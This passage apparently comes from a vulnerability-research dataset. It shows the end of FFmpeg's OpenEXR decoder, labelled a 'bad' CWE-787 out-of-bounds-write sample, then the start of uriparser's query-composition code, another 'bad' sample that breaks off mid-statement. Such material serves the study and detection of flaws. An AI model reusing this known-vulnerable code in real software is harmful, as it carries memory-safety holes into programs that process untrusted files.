64);/* Force 64 padding for AVX2 reorder_pixels dst */ if (!td->uncompressed_data) return AVERROR(ENOMEM); ret = AVERROR_INVALIDDATA; switch (s->compression) { case EXR_ZIP1: case EXR_ZIP16: ret = zip_uncompress(s, src, data_size, uncompressed_size, td); break; case EXR_PIZ: ret = piz_uncompress(s, src, data_size, uncompressed_size, td); break; case EXR_PXR24: ret = pxr24_uncompress(s, src, data_size, uncompressed_size, td); break; case EXR_RLE: ret = rle_uncompress(s, src, data_size, uncompressed_size, td); break; case EXR_B44: case EXR_B44A: ret = b44_uncompress(s, src, data_size, uncompressed_size, td); break; } if (ret < 0) { av_log(avctx, AV_LOG_ERROR, "decode_block() failed.\n"); return ret; } src = td->uncompressed_data; } /* offsets to crop data outside display window */ data_xoffset = FFABS(FFMIN(0, s->xmin + col)) * (s->pixel_type == EXR_HALF ? 2 : 4); data_yoffset = FFABS(FFMIN(0, line)); data_window_offset = (data_yoffset * td->channel_line_size) + data_xoffset; if (!s->is_luma) { channel_buffer[0] = src + (td->xsize * s->channel_offsets[0]) + data_window_offset; channel_buffer[1] = src + (td->xsize * s->channel_offsets[1]) + data_window_offset; channel_buffer[2] = src + (td->xsize * s->channel_offsets[2]) + data_window_offset; rgb_channel_count = 3; } else { /* put y data in the first channel_buffer */ channel_buffer[0] = src + (td->xsize * s->channel_offsets[1]) + data_window_offset; rgb_channel_count = 1; } if (s->channel_offsets[3] >= 0) channel_buffer[3] = src + (td->xsize * s->channel_offsets[3]) + data_window_offset; if (s->desc->flags & AV_PIX_FMT_FLAG_FLOAT) { /* todo: change this when a floating point pixel format with luma with alpha is implemented */ int channel_count = s->channel_offsets[3] >= 0 ? 4 : rgb_channel_count; if (s->is_luma) { channel_buffer[1] = channel_buffer[0]; channel_buffer[2] = channel_buffer[0]; } for (c = 0; c < channel_count; c++) { int plane = s->desc->comp[c].plane; ptr = p->data[plane] + window_ymin * p->linesize[plane] + (window_xmin * 4); for (i = 0; i < ysize; i++, ptr += p->linesize[plane]) { const uint8_t *src; union av_intfloat32 *ptr_x; src = channel_buffer[c]; ptr_x = (union av_intfloat32 *)ptr; // Zero out the start if xmin is not 0 memset(ptr_x, 0, bxmin); ptr_x += window_xoffset; if (s->pixel_type == EXR_FLOAT) { // 32-bit union av_intfloat32 t; if (trc_func && c < 3) { for (x = 0; x < xsize; x++) { t.i = bytestream_get_le32(&src); t.f = trc_func(t.f); *ptr_x++ = t; } } else { for (x = 0; x < xsize; x++) { t.i = bytestream_get_le32(&src); if (t.f > 0.0f && c < 3) /* avoid negative values */ t.f = powf(t.f, one_gamma); *ptr_x++ = t; } } } else if (s->pixel_type == EXR_HALF) { // 16-bit if (c < 3 || !trc_func) { for (x = 0; x < xsize; x++) { *ptr_x++ = s->gamma_table[bytestream_get_le16(&src)]; } } else { for (x = 0; x < xsize; x++) { *ptr_x++ = exr_half2float(bytestream_get_le16(&src));; } } } // Zero out the end if xmax+1 is not w memset(ptr_x, 0, axmax); channel_buffer[c] += td->channel_line_size; } } } else { av_assert1(s->pixel_type == EXR_UINT); ptr = p->data[0] + window_ymin * p->linesize[0] + (window_xmin * s->desc->nb_components * 2); for (i = 0; i < ysize; i++, ptr += p->linesize[0]) { const uint8_t * a; const uint8_t *rgb[3]; uint16_t *ptr_x; for (c = 0; c < rgb_channel_count; c++) { rgb[c] = channel_buffer[c]; } if (channel_buffer[3]) a = channel_buffer[3]; ptr_x = (uint16_t *) ptr; // Zero out the start if xmin is not 0 memset(ptr_x, 0, bxmin); ptr_x += window_xoffset * s->desc->nb_components; for (x = 0; x < xsize; x++) { for (c = 0; c < rgb_channel_count; c++) { *ptr_x++ = bytestream_get_le32(&rgb[c]) >> 16; } if (channel_buffer[3]) *ptr_x++ = bytestream_get_le32(&a) >> 16; } // Zero out the end if xmax+1 is not w memset(ptr_x, 0, axmax); channel_buffer[0] += td->channel_line_size; channel_buffer[1] += td->channel_line_size; channel_buffer[2] += td->channel_line_size; if (channel_buffer[3]) channel_buffer[3] += td->channel_line_size; } } return 0; } /** * Check if the variable name corresponds to its data type. * * @param s the EXRContext * @param value_name name of the variable to check * @param value_type type of the variable to check * @param minimum_length minimum length of the variable data * * @return bytes to read containing variable data * -1 if variable is not found * 0 if buffer ended prematurely */ static int check_header_variable(EXRContext *s, const char *value_name, const char *value_type, unsigned int minimum_length) { int var_size = -1; if (bytestream2_get_bytes_left(&s->gb) >= minimum_length && !strcmp(s->gb.buffer, value_name)) { // found value_name, jump to value_type (null terminated strings) s->gb.buffer += strlen(value_name) + 1; if (!strcmp(s->gb.buffer, value_type)) { s->gb.buffer += strlen(value_type) + 1; var_size = bytestream2_get_le32(&s->gb); // don't go read past boundaries if (var_size > bytestream2_get_bytes_left(&s->gb)) var_size = 0; } else { // value_type not found, reset the buffer s->gb.buffer -= strlen(value_name) + 1; av_log(s->avctx, AV_LOG_WARNING, "Unknown data type %s for header variable %s.\n", value_type, value_name); } } return var_size; } static int decode_header(EXRContext *s, AVFrame *frame) { AVDictionary *metadata = NULL; int magic_number, version, i, flags, sar = 0; int layer_match = 0; int ret; int dup_channels = 0; s->current_channel_offset = 0; s->xmin = ~0; s->xmax = ~0; s->ymin = ~0; s->ymax = ~0; s->xdelta = ~0; s->ydelta = ~0; s->channel_offsets[0] = -1; s->channel_offsets[1] = -1; s->channel_offsets[2] = -1; s->channel_offsets[3] = -1; s->pixel_type = EXR_UNKNOWN; s->compression = EXR_UNKN; s->nb_channels = 0; s->w = 0; s->h = 0; s->tile_attr.xSize = -1; s->tile_attr.ySize = -1; s->is_tile = 0; s->is_luma = 0; if (bytestream2_get_bytes_left(&s->gb) < 10) { av_log(s->avctx, AV_LOG_ERROR, "Header too short to parse.\n"); return AVERROR_INVALIDDATA; } magic_number = bytestream2_get_le32(&s->gb); if (magic_number != 20000630) { /* As per documentation of OpenEXR, it is supposed to be * int 20000630 little-endian */ av_log(s->avctx, AV_LOG_ERROR, "Wrong magic number %d.\n", magic_number); return AVERROR_INVALIDDATA; } version = bytestream2_get_byte(&s->gb); if (version != 2) { avpriv_report_missing_feature(s->avctx, "Version %d", version); return AVERROR_PATCHWELCOME; } flags = bytestream2_get_le24(&s->gb); if (flags & 0x02) s->is_tile = 1; if (flags & 0x08) { avpriv_report_missing_feature(s->avctx, "deep data"); return AVERROR_PATCHWELCOME; } if (flags & 0x10) { avpriv_report_missing_feature(s->avctx, "multipart"); return AVERROR_PATCHWELCOME; } // Parse the header while (bytestream2_get_bytes_left(&s->gb) > 0 && *s->gb.buffer) { int var_size; if ((var_size = check_header_variable(s, "channels", "chlist", 38)) >= 0) { GetByteContext ch_gb; if (!var_size) { ret = AVERROR_INVALIDDATA; goto fail; } bytestream2_init(&ch_gb, s->gb.buffer, var_size); while (bytestream2_get_bytes_left(&ch_gb) >= 19) { EXRChannel *channel; enum ExrPixelType current_pixel_type; int channel_index = -1; int xsub, ysub; if (strcmp(s->layer, "") != 0) { if (strncmp(ch_gb.buffer, s->layer, strlen(s->layer)) == 0) { layer_match = 1; av_log(s->avctx, AV_LOG_INFO, "Channel match layer : %s.\n", ch_gb.buffer); ch_gb.buffer += strlen(s->layer); if (*ch_gb.buffer == '.') ch_gb.buffer++; /* skip dot if not given */ } else { layer_match = 0; av_log(s->avctx, AV_LOG_INFO, "Channel doesn't match layer : %s.\n", ch_gb.buffer); } } else { layer_match = 1; } if (layer_match) { /* only search channel if the layer match is valid */ if (!av_strcasecmp(ch_gb.buffer, "R") || !av_strcasecmp(ch_gb.buffer, "X") || !av_strcasecmp(ch_gb.buffer, "U")) { channel_index = 0; s->is_luma = 0; } else if (!av_strcasecmp(ch_gb.buffer, "G") || !av_strcasecmp(ch_gb.buffer, "V")) { channel_index = 1; s->is_luma = 0; } else if (!av_strcasecmp(ch_gb.buffer, "Y")) { channel_index = 1; s->is_luma = 1; } else if (!av_strcasecmp(ch_gb.buffer, "B") || !av_strcasecmp(ch_gb.buffer, "Z") || !av_strcasecmp(ch_gb.buffer, "W")) { channel_index = 2; s->is_luma = 0; } else if (!av_strcasecmp(ch_gb.buffer, "A")) { channel_index = 3; } else { av_log(s->avctx, AV_LOG_WARNING, "Unsupported channel %.256s.\n", ch_gb.buffer); } } /* skip until you get a 0 */ while (bytestream2_get_bytes_left(&ch_gb) > 0 && bytestream2_get_byte(&ch_gb)) continue; if (bytestream2_get_bytes_left(&ch_gb) < 4) { av_log(s->avctx, AV_LOG_ERROR, "Incomplete header.\n"); ret = AVERROR_INVALIDDATA; goto fail; } current_pixel_type = bytestream2_get_le32(&ch_gb); if (current_pixel_type >= EXR_UNKNOWN) { avpriv_report_missing_feature(s->avctx, "Pixel type %d", current_pixel_type); ret = AVERROR_PATCHWELCOME; goto fail; } bytestream2_skip(&ch_gb, 4); xsub = bytestream2_get_le32(&ch_gb); ysub = bytestream2_get_le32(&ch_gb); if (xsub != 1 || ysub != 1) { avpriv_report_missing_feature(s->avctx, "Subsampling %dx%d", xsub, ysub); ret = AVERROR_PATCHWELCOME; goto fail; } if (channel_index >= 0 && s->channel_offsets[channel_index] == -1) { /* channel has not been previously assigned */ if (s->pixel_type != EXR_UNKNOWN && s->pixel_type != current_pixel_type) { av_log(s->avctx, AV_LOG_ERROR, "RGB channels not of the same depth.\n"); ret = AVERROR_INVALIDDATA; goto fail; } s->pixel_type = current_pixel_type; s->channel_offsets[channel_index] = s->current_channel_offset; } else if (channel_index >= 0) { av_log(s->avctx, AV_LOG_WARNING, "Multiple channels with index %d.\n", channel_index); if (++dup_channels > 10) { ret = AVERROR_INVALIDDATA; goto fail; } } s->channels = av_realloc(s->channels, ++s->nb_channels * sizeof(EXRChannel)); if (!s->channels) { ret = AVERROR(ENOMEM); goto fail; } channel = &s->channels[s->nb_channels - 1]; channel->pixel_type = current_pixel_type; channel->xsub = xsub; channel->ysub = ysub; if (current_pixel_type == EXR_HALF) { s->current_channel_offset += 2; } else {/* Float or UINT32 */ s->current_channel_offset += 4; } } /* Check if all channels are set with an offset or if the channels * are causing an overflow */ if (!s->is_luma) {/* if we expected to have at least 3 channels */ if (FFMIN3(s->channel_offsets[0], s->channel_offsets[1], s->channel_offsets[2]) < 0) { if (s->channel_offsets[0] < 0) av_log(s->avctx, AV_LOG_ERROR, "Missing red channel.\n"); if (s->channel_offsets[1] < 0) av_log(s->avctx, AV_LOG_ERROR, "Missing green channel.\n"); if (s->channel_offsets[2] < 0) av_log(s->avctx, AV_LOG_ERROR, "Missing blue channel.\n"); ret = AVERROR_INVALIDDATA; goto fail; } } // skip one last byte and update main gb s->gb.buffer = ch_gb.buffer + 1; continue; } else if ((var_size = check_header_variable(s, "dataWindow", "box2i", 31)) >= 0) { int xmin, ymin, xmax, ymax; if (!var_size) { ret = AVERROR_INVALIDDATA; goto fail; } xmin = bytestream2_get_le32(&s->gb); ymin = bytestream2_get_le32(&s->gb); xmax = bytestream2_get_le32(&s->gb); ymax = bytestream2_get_le32(&s->gb); if (xmin > xmax || ymin > ymax || (unsigned)xmax - xmin >= INT_MAX || (unsigned)ymax - ymin >= INT_MAX) { ret = AVERROR_INVALIDDATA; goto fail; } s->xmin = xmin; s->xmax = xmax; s->ymin = ymin; s->ymax = ymax; s->xdelta = (s->xmax - s->xmin) + 1; s->ydelta = (s->ymax - s->ymin) + 1; continue; } else if ((var_size = check_header_variable(s, "displayWindow", "box2i", 34)) >= 0) { if (!var_size) { ret = AVERROR_INVALIDDATA; goto fail; } bytestream2_skip(&s->gb, 8); s->w = bytestream2_get_le32(&s->gb) + 1; s->h = bytestream2_get_le32(&s->gb) + 1; continue; } else if ((var_size = check_header_variable(s, "lineOrder", "lineOrder", 25)) >= 0) { int line_order; if (!var_size) { ret = AVERROR_INVALIDDATA; goto fail; } line_order = bytestream2_get_byte(&s->gb); av_log(s->avctx, AV_LOG_DEBUG, "line order: %d.\n", line_order); if (line_order > 2) { av_log(s->avctx, AV_LOG_ERROR, "Unknown line order.\n"); ret = AVERROR_INVALIDDATA; goto fail; } continue; } else if ((var_size = check_header_variable(s, "pixelAspectRatio", "float", 31)) >= 0) { if (!var_size) { ret = AVERROR_INVALIDDATA; goto fail; } sar = bytestream2_get_le32(&s->gb); continue; } else if ((var_size = check_header_variable(s, "compression", "compression", 29)) >= 0) { if (!var_size) { ret = AVERROR_INVALIDDATA; goto fail; } if (s->compression == EXR_UNKN) s->compression = bytestream2_get_byte(&s->gb); else av_log(s->avctx, AV_LOG_WARNING, "Found more than one compression attribute.\n"); continue; } else if ((var_size = check_header_variable(s, "tiles", "tiledesc", 22)) >= 0) { char tileLevel; if (!s->is_tile) av_log(s->avctx, AV_LOG_WARNING, "Found tile attribute and scanline flags. Exr will be interpreted as scanline.\n"); s->tile_attr.xSize = bytestream2_get_le32(&s->gb); s->tile_attr.ySize = bytestream2_get_le32(&s->gb); tileLevel = bytestream2_get_byte(&s->gb); s->tile_attr.level_mode = tileLevel & 0x0f; s->tile_attr.level_round = (tileLevel >> 4) & 0x0f; if (s->tile_attr.level_mode >= EXR_TILE_LEVEL_UNKNOWN) { avpriv_report_missing_feature(s->avctx, "Tile level mode %d", s->tile_attr.level_mode); ret = AVERROR_PATCHWELCOME; goto fail; } if (s->tile_attr.level_round >= EXR_TILE_ROUND_UNKNOWN) { avpriv_report_missing_feature(s->avctx, "Tile level round %d", s->tile_attr.level_round); ret = AVERROR_PATCHWELCOME; goto fail; } continue; } else if ((var_size = check_header_variable(s, "writer", "string", 1)) >= 0) { uint8_t key[256] = { 0 }; bytestream2_get_buffer(&s->gb, key, FFMIN(sizeof(key) - 1, var_size)); av_dict_set(&metadata, "writer", key, 0); continue; } // Check if there are enough bytes for a header if (bytestream2_get_bytes_left(&s->gb) <= 9) { av_log(s->avctx, AV_LOG_ERROR, "Incomplete header\n"); ret = AVERROR_INVALIDDATA; goto fail; } // Process unknown variables for (i = 0; i < 2; i++) // value_name and value_type while (bytestream2_get_byte(&s->gb) != 0); // Skip variable length bytestream2_skip(&s->gb, bytestream2_get_le32(&s->gb)); } ff_set_sar(s->avctx, av_d2q(av_int2float(sar), 255)); if (s->compression == EXR_UNKN) { av_log(s->avctx, AV_LOG_ERROR, "Missing compression attribute.\n"); ret = AVERROR_INVALIDDATA; goto fail; } if (s->is_tile) { if (s->tile_attr.xSize < 1 || s->tile_attr.ySize < 1) { av_log(s->avctx, AV_LOG_ERROR, "Invalid tile attribute.\n"); ret = AVERROR_INVALIDDATA; goto fail; } } if (bytestream2_get_bytes_left(&s->gb) <= 0) { av_log(s->avctx, AV_LOG_ERROR, "Incomplete frame.\n"); ret = AVERROR_INVALIDDATA; goto fail; } frame->metadata = metadata; // aaand we are done bytestream2_skip(&s->gb, 1); return 0; fail: av_dict_free(&metadata); return ret; } static int decode_frame(AVCodecContext *avctx, void *data, int *got_frame, AVPacket *avpkt) { EXRContext *s = avctx->priv_data; ThreadFrame frame = { .f = data }; AVFrame *picture = data; uint8_t *ptr; int i, y, ret, ymax; int planes; int out_line_size; int nb_blocks; /* nb scanline or nb tile */ uint64_t start_offset_table; uint64_t start_next_scanline; PutByteContext offset_table_writer; bytestream2_init(&s->gb, avpkt->data, avpkt->size); if ((ret = decode_header(s, picture)) < 0) return ret; switch (s->pixel_type) { case EXR_FLOAT: case EXR_HALF: if (s->channel_offsets[3] >= 0) { if (!s->is_luma) { avctx->pix_fmt = AV_PIX_FMT_GBRAPF32; } else { /* todo: change this when a floating point pixel format with luma with alpha is implemented */ avctx->pix_fmt = AV_PIX_FMT_GBRAPF32; } } else { if (!s->is_luma) { avctx->pix_fmt = AV_PIX_FMT_GBRPF32; } else { avctx->pix_fmt = AV_PIX_FMT_GRAYF32; } } break; case EXR_UINT: if (s->channel_offsets[3] >= 0) { if (!s->is_luma) { avctx->pix_fmt = AV_PIX_FMT_RGBA64; } else { avctx->pix_fmt = AV_PIX_FMT_YA16; } } else { if (!s->is_luma) { avctx->pix_fmt = AV_PIX_FMT_RGB48; } else { avctx->pix_fmt = AV_PIX_FMT_GRAY16; } } break; default: av_log(avctx, AV_LOG_ERROR, "Missing channel list.\n"); return AVERROR_INVALIDDATA; } if (s->apply_trc_type != AVCOL_TRC_UNSPECIFIED) avctx->color_trc = s->apply_trc_type; switch (s->compression) { case EXR_RAW: case EXR_RLE: case EXR_ZIP1: s->scan_lines_per_block = 1; break; case EXR_PXR24: case EXR_ZIP16: s->scan_lines_per_block = 16; break; case EXR_PIZ: case EXR_B44: case EXR_B44A: s->scan_lines_per_block = 32; break; default: avpriv_report_missing_feature(avctx, "Compression %d", s->compression); return AVERROR_PATCHWELCOME; } /* Verify the xmin, xmax, ymin and ymax before setting the actual image size. * It's possible for the data window can larger or outside the display window */ if (s->xmin > s->xmax || s->ymin > s->ymax || s->ydelta == 0xFFFFFFFF || s->xdelta == 0xFFFFFFFF) { av_log(avctx, AV_LOG_ERROR, "Wrong or missing size information.\n"); return AVERROR_INVALIDDATA; } if ((ret = ff_set_dimensions(avctx, s->w, s->h)) < 0) return ret; s->desc = av_pix_fmt_desc_get(avctx->pix_fmt); if (!s->desc) return AVERROR_INVALIDDATA; if (s->desc->flags & AV_PIX_FMT_FLAG_FLOAT) { planes = s->desc->nb_components; out_line_size = avctx->width * 4; } else { planes = 1; out_line_size = avctx->width * 2 * s->desc->nb_components; } if (s->is_tile) { nb_blocks = ((s->xdelta + s->tile_attr.xSize - 1) / s->tile_attr.xSize) * ((s->ydelta + s->tile_attr.ySize - 1) / s->tile_attr.ySize); } else { /* scanline */ nb_blocks = (s->ydelta + s->scan_lines_per_block - 1) / s->scan_lines_per_block; } if ((ret = ff_thread_get_buffer(avctx, &frame, 0)) < 0) return ret; if (bytestream2_get_bytes_left(&s->gb)/8 < nb_blocks) return AVERROR_INVALIDDATA; // check offset table and recreate it if need if (!s->is_tile && bytestream2_peek_le64(&s->gb) == 0) { av_log(s->avctx, AV_LOG_DEBUG, "recreating invalid scanline offset table\n"); start_offset_table = bytestream2_tell(&s->gb); start_next_scanline = start_offset_table + nb_blocks * 8; bytestream2_init_writer(&offset_table_writer, &avpkt->data[start_offset_table], nb_blocks * 8); for (y = 0; y < nb_blocks; y++) { /* write offset of prev scanline in offset table */ bytestream2_put_le64(&offset_table_writer, start_next_scanline); /* get len of next scanline */ bytestream2_seek(&s->gb, start_next_scanline + 4, SEEK_SET);/* skip line number */ start_next_scanline += (bytestream2_get_le32(&s->gb) + 8); } bytestream2_seek(&s->gb, start_offset_table, SEEK_SET); } // save pointer we are going to use in decode_block s->buf = avpkt->data; s->buf_size = avpkt->size; // Zero out the start if ymin is not 0 for (i = 0; i < planes; i++) { ptr = picture->data[i]; for (y = 0; y < FFMIN(s->ymin, s->h); y++) { memset(ptr, 0, out_line_size); ptr += picture->linesize[i]; } } s->picture = picture; avctx->execute2(avctx, decode_block, s->thread_data, NULL, nb_blocks); ymax = FFMAX(0, s->ymax + 1); // Zero out the end if ymax+1 is not h for (i = 0; i < planes; i++) { ptr = picture->data[i] + (ymax * picture->linesize[i]); for (y = ymax; y < avctx->height; y++) { memset(ptr, 0, out_line_size); ptr += picture->linesize[i]; } } picture->pict_type = AV_PICTURE_TYPE_I; *got_frame = 1; return avpkt->size; } static av_cold int decode_init(AVCodecContext *avctx) { EXRContext *s = avctx->priv_data; uint32_t i; union av_intfloat32 t; float one_gamma = 1.0f / s->gamma; avpriv_trc_function trc_func = NULL; s->avctx = avctx; ff_exrdsp_init(&s->dsp); #if HAVE_BIGENDIAN ff_bswapdsp_init(&s->bbdsp); #endif trc_func = avpriv_get_trc_function_from_trc(s->apply_trc_type); if (trc_func) { for (i = 0; i < 65536; ++i) { t = exr_half2float(i); t.f = trc_func(t.f); s->gamma_table[i] = t; } } else { if (one_gamma > 0.9999f && one_gamma < 1.0001f) { for (i = 0; i < 65536; ++i) { s->gamma_table[i] = exr_half2float(i); } } else { for (i = 0; i < 65536; ++i) { t = exr_half2float(i); /* If negative value we reuse half value */ if (t.f <= 0.0f) { s->gamma_table[i] = t; } else { t.f = powf(t.f, one_gamma); s->gamma_table[i] = t; } } } } // allocate thread data, used for non EXR_RAW compression types s->thread_data = av_mallocz_array(avctx->thread_count, sizeof(EXRThreadData)); if (!s->thread_data) return AVERROR_INVALIDDATA; return 0; } static av_cold int decode_end(AVCodecContext *avctx) { EXRContext *s = avctx->priv_data; int i; for (i = 0; i < avctx->thread_count; i++) { EXRThreadData *td = &s->thread_data[i]; av_freep(&td->uncompressed_data); av_freep(&td->tmp); av_freep(&td->bitmap); av_freep(&td->lut); } av_freep(&s->thread_data); av_freep(&s->channels); return 0; } #define OFFSET(x) offsetof(EXRContext, x) #define VD AV_OPT_FLAG_VIDEO_PARAM | AV_OPT_FLAG_DECODING_PARAM static const AVOption options[] = { { "layer", "Set the decoding layer", OFFSET(layer), AV_OPT_TYPE_STRING, { .str = "" }, 0, 0, VD }, { "gamma", "Set the float gamma value when decoding", OFFSET(gamma), AV_OPT_TYPE_FLOAT, { .dbl = 1.0f }, 0.001, FLT_MAX, VD }, // XXX: Note the abuse of the enum using AVCOL_TRC_UNSPECIFIED to subsume the existing gamma option { "apply_trc", "color transfer characteristics to apply to EXR linear input", OFFSET(apply_trc_type), AV_OPT_TYPE_INT, {.i64 = AVCOL_TRC_UNSPECIFIED }, 1, AVCOL_TRC_NB-1, VD, "apply_trc_type"}, { "bt709", "BT.709", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_BT709 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "gamma", "gamma", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_UNSPECIFIED }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "gamma22", "BT.470 M", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_GAMMA22 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "gamma28", "BT.470 BG", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_GAMMA28 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "smpte170m", "SMPTE 170 M", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_SMPTE170M }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "smpte240m", "SMPTE 240 M", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_SMPTE240M }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "linear", "Linear", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_LINEAR }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "log", "Log", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_LOG }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "log_sqrt", "Log square root", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_LOG_SQRT }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "iec61966_2_4", "IEC 61966-2-4", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_IEC61966_2_4 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "bt1361", "BT.1361", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_BT1361_ECG }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "iec61966_2_1", "IEC 61966-2-1", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_IEC61966_2_1 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "bt2020_10bit", "BT.2020 - 10 bit", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_BT2020_10 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "bt2020_12bit", "BT.2020 - 12 bit", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_BT2020_12 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "smpte2084", "SMPTE ST 2084", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_SMPTEST2084 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "smpte428_1", "SMPTE ST 428-1", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_SMPTEST428_1 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { NULL }, }; static const AVClass exr_class = { .class_name = "EXR", .item_name = av_default_item_name, .option = options, .version = LIBAVUTIL_VERSION_INT, }; AVCodec ff_exr_decoder = { .name = "exr", .long_name = NULL_IF_CONFIG_SMALL("OpenEXR image"), .type = AVMEDIA_TYPE_VIDEO, .id = AV_CODEC_ID_EXR, .priv_data_size = sizeof(EXRContext), .init = decode_init, .close = decode_end, .decode = decode_frame, .capabilities = AV_CODEC_CAP_DR1 | AV_CODEC_CAP_FRAME_THREADS | AV_CODEC_CAP_SLICE_THREADS, .priv_class = &exr_class, };
./CrossVul/dataset_final_sorted/CWE-787/c/bad_4486_0
crossvul-cpp_data_bad_443_0
/* * uriparser - RFC 3986 URI parsing library * * Copyright (C) 2007, Weijia Song <songweijia@gmail.com> * Copyright (C) 2007, Sebastian Pipping <sebastian@pipping.org> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above * copyright notice, this list of conditions and the following * disclaimer. * * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the <ORGANIZATION> nor the names of its * contributors may be used to endorse or promote products * derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. */ /* What encodings are enabled? */ #include <uriparser/UriDefsConfig.h> #if (!defined(URI_PASS_ANSI) && !defined(URI_PASS_UNICODE)) /* Include SELF twice */ # ifdef URI_ENABLE_ANSI # define URI_PASS_ANSI 1 # include "UriQuery.c" # undef URI_PASS_ANSI # endif # ifdef URI_ENABLE_UNICODE # define URI_PASS_UNICODE 1 # include "UriQuery.c" # undef URI_PASS_UNICODE # endif #else # ifdef URI_PASS_ANSI # include <uriparser/UriDefsAnsi.h> # else # include <uriparser/UriDefsUnicode.h> # include <wchar.h> # endif #ifndef URI_DOXYGEN # include <uriparser/Uri.h> # include "UriCommon.h" #endif static int URI_FUNC(ComposeQueryEngine)(URI_CHAR * dest, const URI_TYPE(QueryList) * queryList, int maxChars, int * charsWritten, int * charsRequired, UriBool spaceToPlus, UriBool normalizeBreaks); static UriBool URI_FUNC(AppendQueryItem)(URI_TYPE(QueryList) ** prevNext, int * itemCount, const URI_CHAR * keyFirst, const URI_CHAR * keyAfter, const URI_CHAR * valueFirst, const URI_CHAR * valueAfter, UriBool plusToSpace, UriBreakConversion breakConversion); int URI_FUNC(ComposeQueryCharsRequired)(const URI_TYPE(QueryList) * queryList, int * charsRequired) { const UriBool spaceToPlus = URI_TRUE; const UriBool normalizeBreaks = URI_TRUE; return URI_FUNC(ComposeQueryCharsRequiredEx)(queryList, charsRequired, spaceToPlus, normalizeBreaks); } int URI_FUNC(ComposeQueryCharsRequiredEx)(const URI_TYPE(QueryList) * queryList, int * charsRequired, UriBool spaceToPlus, UriBool normalizeBreaks) { if ((queryList == NULL) || (charsRequired == NULL)) { return URI_ERROR_NULL; } return URI_FUNC(ComposeQueryEngine)(NULL, queryList, 0, NULL, charsRequired, spaceToPlus, normalizeBreaks); } int URI_FUNC(ComposeQuery)(URI_CHAR * dest, const URI_TYPE(QueryList) * queryList, int maxChars, int * charsWritten) { const UriBool spaceToPlus = URI_TRUE; const UriBool normalizeBreaks = URI_TRUE; return URI_FUNC(ComposeQueryEx)(dest, queryList, maxChars, charsWritten, spaceToPlus, normalizeBreaks); } int URI_FUNC(ComposeQueryEx)(URI_CHAR * dest, const URI_TYPE(QueryList) * queryList, int maxChars, int * charsWritten, UriBool spaceToPlus, UriBool normalizeBreaks) { if ((dest == NULL) || (queryList == NULL)) { return URI_ERROR_NULL; } if (maxChars < 1) { return URI_ERROR_OUTPUT_TOO_LARGE; } return URI_FUNC(ComposeQueryEngine)(dest, queryList, maxChars, charsWritten, NULL, spaceToPlus, normalizeBreaks); } int URI_FUNC(ComposeQueryMalloc)(URI_CHAR ** dest, const URI_TYPE(QueryList) * queryList) { const UriBool spaceToPlus = URI_TRUE; const UriBool normalizeBreaks = URI_TRUE; return URI_FUNC(ComposeQueryMallocEx)(dest, queryList, spaceToPlus, normalizeBreaks); } int URI_FUNC(ComposeQueryMallocEx)(URI_CHAR ** dest, const URI_TYPE(QueryList) * queryList, UriBool spaceToPlus, UriBool normalizeBreaks) { int charsRequired; int res; URI_CHAR * queryString; if (dest == NULL) { return URI_ERROR_NULL; } /* Calculate space */ res = URI_FUNC(ComposeQueryCharsRequiredEx)(queryList, &charsRequired, spaceToPlus, normalizeBreaks); if (res != URI_SUCCESS) { return res; } charsRequired++; /* Allocate space */ queryString = 